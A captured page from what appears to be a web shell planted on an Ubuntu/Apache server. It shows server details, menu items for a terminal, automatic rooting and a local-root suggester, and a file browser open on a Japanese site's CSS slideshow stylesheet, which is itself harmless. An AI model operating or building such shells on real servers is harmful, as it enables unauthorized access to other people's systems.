Linux tsuru-no-tsurugi 5.15.0-186-generic #196-Ubuntu SMP Sat Jun 20 16:09:34 UTC 2026 x86_64
Apache/2.4.52 (Ubuntu)
Server IP : 192.168.0.18 & Your IP : 216.73.216.68
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
www /
html /
kougakubu /
htdocs /
example /
Delete
Unzip
Name
Size
Permission
Date
Action
img
[ DIR ]
drwxr-xr-x
2024-08-27 23:20
css.css
1.17
KB
-rwxr-xr-x
2024-08-27 23:20
index.html
612
B
-rwxr-xr-x
2024-08-27 23:20
Save
Rename
/*この例は画像三枚*/ .slide { position: relative; width: 100%; height: 300px; overflow: hidden; } @keyframes slideshow{ 0%{ opacity: 0; } 10%{ opacity: 1; } 28%{ opacity: 1 } 38%{ opacity: 0; } 100%{ opacity: 0; } } .slide img { position: absolute; top: 50%; left: 50%; transform: translate(-50%, -50%); width: 100%; height: auto; opacity: 0; animation :slideshow 3s linear infinite; } .slide img:nth-child(2){ animation-delay: 1s; } .slide img:last-child{ animation-delay: 2s; } /*3s 1s 2sの部分で秒数を変えられる*/ .on_slide{ position: absolute; /*上に設置する場合はabsolute*/ height: 300px; margin-block-start: -300px; /*スライドショーの立幅に合わせる。*/ margin-left: calc(50% - 240px); /*calc関数でポジションを演算できる。この場合は中央に設置する。*/ /*240px = 480px / 2; 480pxは元画像の横幅*/ opacity: 0.5; /*opacity:透明度(0~1で指定)。この場合は50％*/ }